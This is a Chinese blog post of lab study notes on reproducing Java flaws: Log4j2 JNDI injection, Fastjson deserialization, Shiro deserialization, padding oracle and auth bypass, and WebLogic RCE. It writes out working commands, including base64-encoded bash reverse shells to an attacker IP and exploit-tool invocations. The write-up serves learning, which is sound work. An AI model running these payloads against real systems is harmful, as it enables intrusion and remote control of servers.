Java常见漏洞复现与利用

环境搭建

使用Vulhub搭建漏洞复现环境:

# 启动docker
service docker start

# 进入漏洞目录,下载镜像并启动
docker-compose up -d

# 查看环境
docker ps

# 进入容器
docker exec -it 容器id /bin/bash

一、Log4j2远程代码执行(CVE-2021-44228)

漏洞简介

Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发。2021年11月24日,阿里云安全团队向Apache官方报告了该远程代码执行漏洞。

  • 影响版本:2.0 <= Apache Log4j2 <= 2.14.1
  • 漏洞类型:JNDI注入

漏洞原理

Log4j2提供的lookup功能下的JNDI Lookup模块出现问题。输出日志信息时允许开发人员通过相应的协议(LDAP/RMI)去请求远程主机上的资源。开发人员在处理数据时,没有对用户输入的信息进行判断,导致Log4j2请求远程主机上含有恶意代码的资源并执行。

JNDI简介

  • JNDI(Java Naming and Directory Interface):JAVA命名和目录接口,提供一个目录系统,将服务名称与对象关联起来
  • LDAP(轻型目录访问协议):开放的、中立的、工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息
  • RMI(远程方法调用):机制能够让在某个Java虚拟机上的对象调用另一个Java虚拟机的对象的方法

漏洞复现

# 检测是否存在漏洞
访问:/solr/admin/cores?action=
利用dnslog:${jndi:ldap://dnslog地址}

# 生成payload(kali攻击机)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
  -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjMvMzMzMyAwPiYx}|{base64,-d}|{bash,-i}" \
  -A "攻击机IP"

# 监听端口
nc -lvvp 端口

二、Fastjson反序列化漏洞

漏洞简介

Fastjson是阿里巴巴的开源JSON解析库,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

漏洞原理

Fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制:

  1. 基于属性(setter/getter)
  2. autotype类内容可控 = 可任意反序列化内容

Fastjson 1.2.24(autotype开启)

漏洞描述:处理JSON对象时,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。

# 攻击流程
制作反弹Payload → 开启HTTP服务 → 启动LDAP服务 → 监听端口 → 执行Payload

# 利用工具生成payload
java -cp fastjson_tool.jar fastjson.HLDAPServer 攻击机IP 1111 \
  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjMvMjIyMjAgMD4mMQ==}|{base64,-d}|{bash,-i}"

Fastjson 1.2.47(autotype默认关闭)

需从缓存中调用类绕过,payload示例:

# 探针payload
{"a":{"@type":"java.net.Inet6Address","val":"dnslog"}}
{"a":{"@type":"java.net.URL","val":"dnslog"}}

# 抓包后需更改Content-Type为application/json

三、Apache Shiro漏洞

漏洞简介

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。

Shiro 550(CVE-2016-4437)— 反序列化

加密过程:用户信息 → 序列化 → AES加密(需密钥key) → Base64编码 → RememberMe Cookie

解码过程:Cookie → Base64解密 → AES解密 → 反序列化

漏洞成因:密钥写死在代码里,攻击者知道密钥值即可伪造Cookie。

# 判断漏洞存在
回显包存在 rememberMe=deleteMe 字段

# 利用工具
https://github.com/feihong-cs/ShiroExploit-Deprecated
https://github.com/SummerSec/ShiroAttack2

Shiro 721 — Padding Oracle Attack

加密方式:AES-CBC,密钥随机生成

利用条件:需要登录成功获取合法cookie,利用Padding Oracle攻击生成恶意rememberMe字段。

# 生成payload
java -jar ysoserial.jar CommonsBeanutils1 "ping dnslog" > payload.class

# Padding Oracle攻击(耗时较长约1小时)
python2 shiro_exp.py http://目标:端口/路径 rememberMe值 payload.class

权限绕过(CVE-2020-1957)

影响版本:Apache Shiro < 1.5.3

# 绕过方式
访问:目标IP:端口/..;/admin
可绕过Shiro中对目录的权限限制,直接进入后台

四、WebLogic漏洞

WebLogic反序列化(CVE-2019-2890)

漏洞描述:T3协议在WebLogic控制台开启的情况下默认开启,绕过了反序列化黑名单。

# 影响范围
WebLogic Server 10.3.6.0
WebLogic Server 12.1.3.0
WebLogic Server 12.2.1.3

# 检测
访问:/_async/AsyncResponseService
出现 "welcome to ..." 即存在漏洞

WebLogic RCE(CVE-2023-21839 & CVE-2023-21931)

漏洞原理:允许未经身份验证的远程攻击者通过T3/IIOP协议网络访问并破坏WebLogic服务器。

# 利用工具
https://github.com/4ra1n/CVE-2023-21839

# 执行命令
./CVE-2023-21839 -ip 目标IP -port 7001 \
  -ldap ldap://攻击机IP:1389/Basic/ReverseShell/反弹IP/端口

总结

Java漏洞复现需要掌握:

  1. Log4j2:JNDI注入,利用LDAP/RMI协议加载远程恶意类
  2. Fastjson:@type字段未校验,配合JNDI注入
  3. Shiro:密钥泄露导致反序列化,Padding Oracle攻击
  4. WebLogic:T3协议反序列化,控制台未授权访问

本文为个人学习笔记,漏洞复现均在本地搭建的靶场环境中进行。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注